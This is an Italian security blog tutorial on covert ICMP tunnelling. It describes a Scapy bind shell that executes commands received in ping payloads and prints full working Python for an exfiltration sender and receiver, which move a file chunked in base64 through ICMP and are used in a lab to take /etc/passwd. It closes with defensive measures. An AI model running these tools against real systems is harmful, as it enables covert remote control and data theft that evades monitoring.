Data Exfiltration con ICMP

A cura di Giuseppe Longobardi (team hackerhood)

Il protocollo ICMP (Internet Control Message Protocol) è uno dei protocolli fondamentali nella suite di protocolli TCP/IP. È stato progettato per fornire messaggi di controllo e di errore per facilitare il funzionamento e il debugging delle reti IP. ICMP è utilizzato prevalentemente dai dispositivi di rete, come router e switch, ma anche da host finali per comunicare informazioni sullo stato del network e per segnalare problemi.

Due dei servizi fondamentali offerti da ICMP sono prevalentemente ping e tracert.

In questo articolo vedremo come usare il protocollo ICMP come mezzo per avviare una reverse shell ed esfiltrare dati senza che EDR o Firewall possano rilevare attività sospette. Prima di analizzare concretamente le tecniche per avviare una reverse shell (o bind shell) o esfiltrare dati descriveremo l’architettura generale ed il funzionamento di ICMP.

Disamina protocollo ICMP

il protocollo ICMP (Internet Control Message Protocol) è uno strumento fondamentale per il funzionamento delle reti IP. Operando al livello di rete (Livello 3 nel modello OSI), ICMP è stato progettato per veicolare messaggi di controllo e di errore, piuttosto che per trasportare dati utente.

Architettura e Struttura

Header ICMP

L’header ICMP è relativamente semplice e contiene pochi campi:

Tipo (Type, 8 bit): Indica il tipo di messaggio ICMP. I valori vanno da 0 a 255, ma solo una gamma limitata è attualmente in uso (per esempio, 0 è “Echo Reply” e 8 è “Echo Request”).

Codice (Code, 8 bit): Questo campo fornisce ulteriori dettagli sul messaggio, elaborando sul campo “Tipo”.

Checksum (16 bit): Fornisce un meccanismo per rilevare errori nei dati trasportati nell’header e nel payload del messaggio ICMP.

Payload ICMP

Il payload è variabile e dipende dal tipo e dal codice del messaggio. Per esempio, nei messaggi di tipo “Echo Request” o “Echo Reply”, il payload è generalmente costituito dai dati che devono essere inviati e restituiti tra gli host.

Tipi di Messaggi Comuni

Echo Request/Reply (Tipo 8/0): Utilizzato principalmente dal comando ping per testare la raggiungibilità di un host.

Destination Unreachable (Tipo 3): Indica che la destinazione non può essere raggiunta per qualche motivo, specificato dal campo “Codice”.

Time Exceeded (Tipo 11): Generato quando il TTL di un pacchetto scende a zero o quando un frammento non arriva entro un tempo limite.

Redirect (Tipo 5): Utilizzato dai router per informare un host che esiste una rotta più efficiente verso la destinazione desiderata.

Considerazioni sulla Sicurezza e Tipi di Attacchi con ICMP

ICMP Tunneling

Il protocollo ICMP può essere utilizzato per creare tunnel di comunicazione che bypassano i controlli di sicurezza come i firewall. In questo scenario, dati e comandi possono essere incapsulati in pacchetti ICMP, rendendo difficile per i dispositivi di sicurezza identificare e bloccare il traffico malevolo.

Denial of Service (DoS)

Ping of Death

L’attacco “Ping of Death” sfrutta pacchetti ICMP malformati o di dimensioni eccessive per causare un overflow di buffer, portando al crash o al riavvio forzato del sistema bersaglio. Questo attacco è meno efficace oggi grazie a migliori controlli e patch, ma rimane un esempio storico della vulnerabilità introdotta da ICMP.

Reverse Shell /Bind Shell

Anche se meno comune con ICMP rispetto ad altri protocolli, è teoricamente possibile utilizzare ICMP per stabilire una “reverse shell”. In questo caso, un attaccante può inviare comandi incapsulati in pacchetti ICMP e ricevere output attraverso risposte ICMP, evadendo così meccanismi di controllo che potrebbero essere focalizzati su protocolli più comuni come TCP o UDP.

Esfiltrazione di Dati

L’esfiltrazione di dati tramite ICMP è un’altra preoccupazione. Dati sensibili possono essere incapsulati nei campi dati di pacchetti ICMP e inviati all’esterno di una rete. Questa tecnica è spesso utilizzata per evitare la rilevazione, poiché molti sistemi di sicurezza non ispezionano profondamente i pacchetti ICMP.

Allestimento laboratorio

Il nostro laboratorio si compone di 5 elementi fondamentali:

  • Un Wireless Router 
  • Un Desktop 
  • Un Laptop 
  • VM Kali Linux su Desktop 
  • VM Kali Linux su Laptop 

Dimostrazioni pratiche in laboratorio

Network Discovery

per la parte di monitoraggio e Network Discovery possiamo iniziare con i seguenti comandi lanciati dalla macchina “Attaccante”:

  1. nmap -sn -v –open 192.168.178.0/24
    1. -sn: Esegue una scansione di rilevamento host, senza scansionare le porte.
    2. -v: Aumenta la verbosità dell’output, fornendo più dettagli sulla scansione.
    3. –open: Filtra l’output per mostrare solo le porte aperte ( in questo caso mostra solo gli host che rispondono al ping)
    4. 192.168.178.0/24: Definisce la subnet sulla quale eseguire la scansione.
  1. nmap -A -T4 192.168.178.0/24
    1. -A: Abilita la scansione avanzata, che include la rilevazione del sistema operativo, la versione del servizio, la scansione dei script Nmap e altre funzionalità.
    2. -T4: Imposta il livello di tempismo a “aggressivo”, accelerando la scansione.
    3. 192.168.178.0/24: Definisce la subnet sulla quale eseguire la scansione.

Da questi comandi individuiamo quindi le macchine ;

  • VM Kali Linux su Laptop 
  • il laptop che ospita la VM kali Linux con modalità di rete “bridged”

Bind Shell con ICMP

STEP 1:

Predisponiamo uno script in python che ci permetterà di aprire una “sessione” ICMP, alla quale sarà possibile connettersi con un altra macchina ed acquisire il controllo della shell dalla quale viene avviato il listener.

Descrizione dello script:

  1. #!/usr/bin/env python3: Indica che lo script dovrebbe essere eseguito con Python 3.
  2. from scapy.all import sr,IP,ICMP,Raw,sniff: Importa le funzioni e le classi necessarie dal modulo Scapy.
  3. import argparse: Importa il modulo argparse per gestire gli argomenti dalla riga di comando.
  4. import os: Importa il modulo os per eseguire comandi del sistema operativo.
  5. #Variables …: Inizializza le variabili ICMP_ID e TTL con valori interi predefiniti.
  6. def check_scapy(): …: Definisce una funzione per verificare se Scapy è installato.
  7. parser = argparse.ArgumentParser(): Crea un nuovo parser per gli argomenti della riga di comando.
  8. parser.add_argument(…): Aggiunge gli argomenti che possono essere passati allo script.
  9. args = parser.parse_args(): Esegue il parsing degli argomenti forniti dalla riga di comando.
  10. def icmpshell(pkt): …: Definisce la funzione principale che elabora i pacchetti ICMP.
  11. if pkt[IP].src == args.destination_ip …: Controlla se il pacchetto soddisfa determinate condizioni (stesso indirizzo IP di origine, tipo ICMP e ID ICMP).
  12. icmppaket = (pkt[Raw].load).decode(‘utf-8′, errors=’ignore’): Estrae e decodifica il payload ICMP.
  13. payload = os.popen(icmppaket).readlines(): Esegue il comando ricevuto e cattura l’output.
  14. icmppacket = (IP(dst=args.destination_ip, ttl=TTL)/ICMP(type=0, id=ICMP_ID)/Raw(load=payload)): Crea un nuovo pacchetto ICMP con l’output del comando.
  15. sr(icmppacket, timeout=0, verbose=0): Invia il nuovo pacchetto ICMP.
  16. else: pass: Se il pacchetto non soddisfa le condizioni, non fare nulla.
  17. print(“[+]ICMP listener started!”): Stampa un messaggio per indicare che il listener ICMP è avviato.
  18. sniff(iface=args.interface, prn=icmpshell, filter=”icmp”, store=”0″): Avvia la cattura dei pacchetti ICMP e li elabora con la funzione icmpshell.

STEP 2:

Predisponiamo il codice che ci permetterà di connetterci al listener ed acquisire il controllo della shell dalla quale viene avviato. 

Descrione dello script:

  1. from scapy.all import sr,IP,ICMP,Raw,sniff: Importa specifiche classi e funzioni dalla libreria Scapy. Utilizzato per la manipolazione dei pacchetti di rete.
  2. from multiprocessing import Process: Importa la classe Process dal modulo multiprocessing.Utilizzato per eseguire processi in parallelo.
  3. ICMP_ID = int(13170), TTL = int(64): Definisce due costanti, ICMP_ID e TTL. Sono utilizzati come valori costanti nei pacchetti ICMP generati.
  4. parser = argparse.ArgumentParser(): Inizializza un parser di argomenti. Utilizzato per gestire gli argomenti forniti all’esecuzione dello script.
  5. def sniffer(): Funzione che chiama sniff da Scapy. Ascolta i pacchetti ICMP sull’interfaccia specificata.
  6. def shell(pkt): Funzione chiamata per ogni pacchetto catturato da sniff. Controlla le condizioni dei pacchetti e stampa il contenuto.
  7. def main(): Funzione principale che gestisce la logica dell’applicazione. Inizializza il processo di sniffing e gestisce l’input dell’utente per inviare comandi.
  8. if __name__ == “__main__”: main(): Esegue la funzione main() se lo script è il modulo principale.

STEP 3:

Usando il codice descritto nello step 1, avviamo il listener sulla macchina che intendiamo controllare.

Come possiamo vedere siamo riusciti ad eseguire un comando nella shell del server, veicolando il payload sul protocollo ICMP.

STEP 4:

Analizziamo adesso i pacchetti transitati.

Questo è il pacchetto che viene inviato al server con l’istruzione “ifconfig”.

Qui invece si nota una parte della risposta visualizzata nello step precedente.

Esfiltrazione dati con ICMP

Come già anticipato precedentemente è possibile usare il protocollo ICMP per creare dei tunnel allo scopo di occultare il trasferimento di dati ad EDR , NDR, IPS , Firewall o altri sistemi di identificazione o risposta. In questo caso vedremo come esfiltrare.

STEP 1:

Come prima cosa dobbiamo implementare un codice python che ci permetta di inviare dati usando il protocollo ICMP. I dati saranno inseriti nel payload dell’ICMP che sarà possibile modificare.

import argparse
from scapy.all import send, IP, ICMP
import base64


def send_custom_ping(destination_ip, message):
    print(f"Invio del messaggio: {message.decode('utf-8', errors='ignore')}")  # Stampare il messaggio prima di inviarlo
    packet = IP(dst=destination_ip) / ICMP() / message
    send(packet)


def file_to_base64(file_path):
    try:
        with open(file_path, 'rb') as file:
            file_data = file.read()
        return base64.b64encode(file_data).decode('utf-8')
    except Exception as e:
        print(f"Errore: {e}")
        return None
def split_base_64_string(base64_string, chunk_size=4):
    chunks = [base64_string[i:i + chunk_size] for i in range(0, len(base64_string), chunk_size)]
    chunks = [chunk.encode('utf-8') for chunk in chunks]
    return chunks


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Invia un ping ICMP personalizzato e gestisci file Base64.')
    parser.add_argument('-t', '--target', required=True, help='IP del destinatario')
    parser.add_argument('-f', '--file', help='Percorso del file da caricare')
    parser.add_argument('-m', '--message', help='Messaggio da inviare')
    parser.add_argument('-s', '--size', type=int, default=4, help='Dimensione dei messaggi in byte (default: 4)')


    args = parser.parse_args()


    if args.file and args.message:
        print("Errore: non puoi specificare sia -f che -m contemporaneamente.")
        exit(1)
    elif not (args.file or args.message):
        print("Errore: devi specificare almeno una delle opzioni -f o -m.")
        exit(1)


    messages_to_send = []


    if args.file:
        base64_data = file_to_base64(args.file)
        if base64_data:
            messages_to_send = split_base_64_string(base64_data, args.size)
    elif args.message:
        base64_message = base64.b64encode(args.message.encode('utf-8')).decode('utf-8')
        messages_to_send = split_base_64_string(base64_message, args.size)


    send_custom_ping(args.target, "gogo".encode('utf-8'))
    for message in messages_to_send:
        send_custom_ping(args.target, message)
    send_custom_ping(args.target, "ogog".encode('utf-8'))



Descrizione dello script:

  1. import argparse: Importa il modulo argparse per la gestione degli argomenti da linea di comando.
  2. from scapy.all import send, IP, ICMP: Importa le classi e funzioni necessarie da Scapy.
  3. import base64: Importa il modulo base64 per la codifica e la decodifica di dati.
  4. def send_custom_ping(destination_ip, message):: Inizio della definizione della funzione send_custom_ping.
  5. print(f”Invio del messaggio: {message.decode(‘utf-8′, errors=’ignore’)}”): Stampa il messaggio decodificato.
  6. packet = IP(dst=destination_ip) / ICMP() / message: Crea un pacchetto ICMP.
  7. send(packet): Invia il pacchetto ICMP.
  8. def file_to_base64(file_path):: Inizio della definizione della funzione file_to_base64.
  9. try:: Inizio del blocco try.
  10. with open(file_path, ‘rb’) as file:: Apre il file in modalità lettura binaria.
  11. file_data = file.read(): Legge i dati dal file.
  12. return base64.b64encode(file_data).decode(‘utf-8’): Ritorna i dati del file codificati in Base64.
  13. except Exception as e:: Inizio del blocco except.
  14. print(f”Errore: {e}”): Stampa eventuali errori.
  15. return None: Ritorna None in caso di errore.
  16. def split_base_64_string(base64_string, chunk_size=4):: Inizio della definizione della funzione split_base_64_string.
  17. chunks = [base64_string[i:i + chunk_size] for i in range(0, len(base64_string), chunk_size)]: Divide la stringa Base64 in pezzi.
  18. chunks = [chunk.encode(‘utf-8’) for chunk in chunks]: Codifica ogni pezzo in UTF-8.
  19. if __name__ == ‘__main__’:: Verifica se lo script è il modulo principale.
  20. parser = argparse.ArgumentParser(description=’Invia un ping ICMP personalizzato e gestisci file Base64.’): Inizializza il parser degli argomenti.
  21. parser.add_argument(…): Aggiunge gli argomenti che l’utente può passare al programma.
  22. args = parser.parse_args(): Esegue il parsing degli argomenti forniti.
  23. if-elif-else: Condizioni per verificare la correttezza degli argomenti forniti e per preparare i messaggi da inviare.
  24. send_custom_ping(args.target, “gogo”.encode(‘utf-8’)): Invia un messaggio di inizio.
  25. for message in messages_to_send:: Loop per inviare tutti i messaggi.
  26. send_custom_ping(args.target, message): Invia ciascun messaggio.
  27. send_custom_ping(args.target, “ogog”.encode(‘utf-8’)): Invia un messaggio di fine.

STEP 2:

In risposta al codice necessario per inviare dati è fondamentale scriverne un altro per permettere di acquisire i dati inviati dal primo e decodificarli correttamente per poi stampare a video i file ricevuti oltre che salvarne una copia in un file.

from scapy.all import sniff, ICMP
import argparse
import base64
import time


def assemble_and_decode(pdu_list):
    decoded_data = "".join(pdu_list)
    decoded_data = base64.b64decode(decoded_data).decode('utf-8')
    return decoded_data


def process_packet(packet):
    global pdu_list
    global receiving_data
    global output_file_counter  # Aggiunta del contatore di file di output


    icmp_data = packet[ICMP].load.decode('utf-8', errors='ignore')


    if icmp_data == 'gogo':
        print("Inizio della ricezione dei dati.")
        pdu_list = []
        receiving_data = True
        output_file_counter += 1  # Incrementa il contatore
        return
    if icmp_data == 'ogog':
        print("Fine della ricezione dei dati.")
        receiving_data = False
        decoded_data = assemble_and_decode(pdu_list)
       
        # Genera un nuovo file di output con il contatore
        output_file_name = f"output_{output_file_counter}.txt"
        with open(output_file_name, 'w') as f:
            f.write(decoded_data)


        print(f"Dati salvati nel file {output_file_name}")
        print("Dati ricevuti in Base64:", base64.b64encode(decoded_data.encode('utf-8')).decode('utf-8'))
        print("Dati in chiaro:", decoded_data)
        return
   
    if receiving_data:
        pdu_list.append(icmp_data)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Server ICMP')
    parser.add_argument('-s', '--source', required=True, help='IP sorgente')
    parser.add_argument('-t', '--target', required=True, help='IP destinazione')
   
    args = parser.parse_args()


    output_file_counter = 0  # Inizializza il contatore di file di output a 0


    print("In attesa di pacchetti ICMP...")
    receiving_data = False
    pdu_list = []


    sniff(filter=f"icmp and src {args.source} and dst {args.target}", prn=process_packet)

Descrizione dello script:

  1. from scapy.all import sniff, ICMP: Importa le funzioni sniff e ICMP dal modulo Scapy.
  2. import argparse: Importa il modulo argparse per la gestione degli argomenti della riga di comando.
  3. import base64: Importa il modulo base64 per la codifica e decodifica Base64.
  4. import time: Importa il modulo time, anche se non viene utilizzato nel codice.
  5. def assemble_and_decode(pdu_list):: Definisce una funzione che assembla e decodifica una lista di dati.
  6. decoded_data = “”.join(pdu_list): Unisce gli elementi della lista pdu_list in una singola stringa.
  7. decoded_data = base64.b64decode(decoded_data).decode(‘utf-8’): Decodifica la stringa Base64 e poi la decodifica in UTF-8.
  8. return decoded_data: Restituisce la stringa decodificata.
  9. def process_packet(packet):: Definisce una funzione che elabora ogni pacchetto ICMP ricevuto.
  10. global pdu_list, receiving_data, output_file_counter: Dichiarazione di variabili globali utilizzate nella funzione.
  11. icmp_data = packet[ICMP].load.decode(‘utf-8′, errors=’ignore’): Estrae e decodifica i dati del payload ICMP del pacchetto.
  12. if icmp_data == ‘gogo’: …: Verifica se i dati ICMP sono una stringa di inizio e inizializza la lista e le variabili relative.
  13. if icmp_data == ‘ogog’: …: Verifica se i dati ICMP sono una stringa di fine, assembla i dati, decodifica e salva in un file.
  14. if receiving_data: …: Aggiunge i dati ICMP alla lista pdu_list se è in corso la ricezione.
  15. if __name__ == ‘__main__’:: Verifica se lo script è il modulo principale.
  16. parser = argparse.ArgumentParser(description=’Server ICMP’): Crea un nuovo parser per gli argomenti della riga di comando.
  17. parser.add_argument(…): Aggiunge gli argomenti che l’utente può fornire.
  18. args = parser.parse_args(): Esegue il parsing degli argomenti forniti.
  19. output_file_counter = 0: Inizializza il contatore dei file di output a 0.
  20. print(“In attesa di pacchetti ICMP…”): Stampa un messaggio informativo.
  21. receiving_data = False: Inizializza la variabile receiving_data a False.
  22. pdu_list = []: Inizializza la lista pdu_list.
  23. sniff(filter=f”icmp and src {args.source} and dst {args.target}”, prn=process_packet): Avvia la cattura dei pacchetti ICMP e li elabora con la funzione process_packet.

STEP 3:

Avviamo il nostro server sulla macchina con IP 192.168.178.75, quindi la VM sul nostro laptop. Lo facciamo con il seguente comando:

STEP 4(Facoltativo):

Avviamo wireshark sulla macchina con IP 192.168.178.75 ed impostiamo il filtro sui pacchetti ICMP per visualizzare solo il contenuto dei PDU ICMP ricevuti dai client con iP 192.168.178.74.

STEP 5:

Esfiltriamo il file /etc/passwd dalla macchina con IP 192.168.178.74 usando lo script descritto nello STEP 1.

Come si vede lo stream dati è avviato dal PDU ICMP con payload “gogo” e termina con “ogog”.

STEP 6:

Verifichiamo se il file è stato ricevuto dal server

Per ragioni di spazio non mostriamo l’intero output, però appena sotto questo output grafico viene mostrato a video: Stringa base64 completa del file trasferito e contenuto testuale in chiaro. Di seguito però visualizziamo il file output_1.txt con lo strumento “cat”.

STEP 7(Facoltativo):

Visualizziamo i pacchetti ICMP sniffati su wireshark

Come possiamo vedere ci sono dei pacchetti ICMP ricevuti da 192.168.178.74

Questo sopra è il primo della serie e contiene la parola chiave che avvia la comunicazione.

Quest’altro è uno dei messaggi inviati fra “gogo” e “ogog” (Chiaramente in Base64)

Questo è il messaggio che chiude la comunicazione.

Stategie difensive

L’esfiltrazione di dati mediante ICMP (Internet Control Message Protocol) o attraverso tecniche come reverse shell e bind shell rappresenta una sfida complessa per le difese di sicurezza. Tuttavia, esistono diverse strategie per mitigare queste minacce utilizzando diverse tecnologie come NDR (Network Detection and Response), EDR (Endpoint Detection and Response), IPS (Intrusion Prevention System) e firewall. 

Ecco alcune strategie difensive:

NDR (Network Detection and Response):

Analisi del Traffico: Configurare il NDR per rilevare anomalie nel traffico ICMP o connessioni in uscita sospette.

Correlazione degli Eventi: Utilizzare la correlazione degli eventi per collegare tentativi di esfiltrazione a specifiche attività sospette o host compromessi.

EDR (Endpoint Detection and Response):

Controllo dei Processi: Bloccare o mettere in quarantena processi noti per utilizzare tecniche di esfiltrazione.

Inspection del Payload: Analizzare il payload dei pacchetti ICMP o del traffico di shell per individuare dati sensibili. Anche un analisi dell’entropia può aiutare.

Limitazione dei Privilegi: Utilizzare il principio del minimo privilegio per impedire l’esecuzione di comandi shell non autorizzati.

IPS (Intrusion Prevention System):

Filtraggio dei Pacchetti: Bloccare o limitare il traffico ICMP a livello di rete, o utilizzare regole avanzate per identificare schemi sospetti.

Signature-Based Detection: Utilizzare rilevamento basato su firma per identificare tipi specifici di attacchi o tecniche di esfiltrazione.

Firewall:

Regole Specifiche: Configurare regole che bloccano o limitano il traffico ICMP in uscita o in entrata.

Altri Sistemi:

Data Loss Prevention (DLP): Configurare regole DLP per identificare e bloccare la trasmissione di dati sensibili.

SIEM (Security Information and Event Management): Utilizzare SIEM per aggregare dati da diverse fonti e impostare allarmi per attività sospette.

Per implementare queste strategie, è fondamentale una visione olistica della sicurezza che integra vari strati di difesa e utilizza una combinazione di queste tecnologie.

Tags:

One response

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *